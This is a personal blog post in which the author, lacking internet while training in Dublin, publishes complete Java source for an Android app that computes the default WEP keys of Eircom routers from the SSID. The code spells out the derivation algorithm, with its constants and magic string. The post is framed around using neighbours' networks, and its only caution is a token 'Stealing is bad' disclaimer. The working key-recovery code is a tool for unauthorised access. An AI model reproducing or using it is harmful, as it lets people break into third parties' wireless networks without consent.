Eircom SSID


Back in 2009, me and my team went to Dublin, Ireland to undergo 3 months of training for our client. Unfortunately, our apartments don’t have any internet which makes it really difficult specially for IT guys like us who are always connected to the Internet.

Here comes the good news, one of our colleagues there shared this link to us: http://s4dd.yore.ma/eircom/ (Disclaimer: Stealing is bad) where in you can actually generate the WEP Key for Eircom routers that uses the default password. So we checked our apartments for any nearby eircom WIFI. It is simple to identify them as their SSID’s are prefixed by “eircom” which looks similar to “eircom-12345678”.

Since we can find these “open wifi” everywhere in Dublin, I’ve decided to write an Android application that can generate the WEP key using the last 8 digits of the eircom ssid.

This is a very simple application made up of these 3 classes:

  • A SHA-1 utility class
  • The key generator class
  • An Activity


package com.mlst.eircomkg;

import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class SHA1Utility {
    private static String convertToHex(byte[] data) {
    StringBuffer buf = new StringBuffer();
    for (int i = 0; i < data.length; i++) {
        int halfbyte = (data[i] >>> 4) & 0x0F;
        int two_halfs = 0;
        do {
        if ((0 <= halfbyte) && (halfbyte <= 9))
            buf.append((char) ('0' + halfbyte));
        else
            buf.append((char) ('a' + (halfbyte - 10)));
        halfbyte = data[i] & 0x0F;
        } while (two_halfs++ < 1);
    }
    return buf.toString();
    }

    public static String SHA1(String text) throws NoSuchAlgorithmException, UnsupportedEncodingException {
    MessageDigest md;
    md = MessageDigest.getInstance("SHA-1");
    byte[] sha1hash = new byte[40];
    md.update(text.getBytes("iso-8859-1"), 0, text.length());
    sha1hash = md.digest();
    return convertToHex(sha1hash);
    }
}

This class helps us generate a SHA-1 encrypted text which is required for us to generate the WEP key.



public class KeyGenerator {

    private final static int NETOPIA_MAC_ADDR = 0x000fcc;
    private final static int NETOPIA_SERIAL_START = 0x01000000;
    private final static String MAGIC_WORD = "Although your world wonders me, ";

    private final static String[] NUMBERWORDS = {
    "Zero", "One", "Two", "Three", "Four", "Five", "Six", "Seven", "Eight", "Nine"
    };

    public static String generateWEPKey(String ssid) throws Exception {
    // make sure there are no spaces in between
    ssid = ssid.replaceAll(" ", "");
    int macAddress = convertToHex(ssid) ^ NETOPIA_MAC_ADDR;
    int serialNumber = macAddress + NETOPIA_SERIAL_START;
    String serialWord = convertSerialNumberToWord(serialNumber);
    String SHA1Value = SHA1Utility.SHA1(serialWord);
    String wepKey = SHA1Value.substring(0, 26);
    return wepKey;
    }

    private static int convertToHex(String ssid){
    int dec = Integer.parseInt(ssid, 8);
    return Integer.parseInt(Integer.toHexString(dec), 16);

    }

    private static String convertSerialNumberToWord(int serialNumber){
    char[] characters = String.valueOf(serialNumber).toCharArray();

    StringBuilder builder = new StringBuilder();
    for(char c: characters){
        builder.append(NUMBERWORDS[Integer.parseInt(c+"")]);
    }
    builder.append(MAGIC_WORD);
    return builder.toString();
    }
}

This class basically performs the magic. The actual algorithm was actually described from the link above but unfortunately, the author blog is now 404.



import android.app.Activity;
import android.os.Bundle;
import android.text.ClipboardManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class KeygenActivity extends Activity implements OnClickListener {

    public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);

    Button generateButton = (Button) findViewById(R.id.generateButton);
    generateButton.setOnClickListener(this);

    TextView wepLabel = (TextView) findViewById(R.id.wepLabel);
    wepLabel.setVisibility(TextView.INVISIBLE);

    final TextView key = (TextView) findViewById(R.id.key);

    Button copyButton = (Button) findViewById(R.id.copyButton);
    copyButton.setOnClickListener(new OnClickListener(){
        public void onClick(View v) {
        ClipboardManager clipboard = 
              (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); 

         clipboard.setText(key.getText().toString());
         Toast.makeText(KeygenActivity.this, "Copied", 1000).show();
        }
    });

    }

    public void onClick(View arg0) {
    EditText ssid = (EditText) findViewById(R.id.ssid);
    if (ssid.getText() != null) {
        String ssidText = ssid.getText().toString().trim();
        // validate if this is a number
        if (isNumeric(ssidText)) {
        performCalculation(ssidText);
        } else {
        Toast.makeText(this, "Invalid SSID", 2000).show();
        }
    }
    }

    private boolean isNumeric(String ssid) {
    try {
        Integer.parseInt(ssid);
    } catch (Exception e) {
        return false;
    }

    return true;
    }

    private void performCalculation(String ssid) {
    TextView key = (TextView) findViewById(R.id.key);

    String wepKey;
    try {
        wepKey = KeyGenerator.generateWEPKey(ssid);
        if (wepKey != null) {
        TextView wepLabel = (TextView) findViewById(R.id.wepLabel);
        wepLabel.setVisibility(TextView.VISIBLE);
        key.setText(""+wepKey);
        }
    } catch (Exception e) {
        Toast.makeText(this, "Unknown error: "+e.getMessage(), 2000);
    }
    }

}

This is the main activity that will be displayed to the user. It has two buttons, a Generate WEP button and copy to clipboard functionality so you can just paste it into the wireless manager screen. The UI is very boring and here’s what it looks like:

Disclaimer: Stealing is bad!

comments powered by Disqus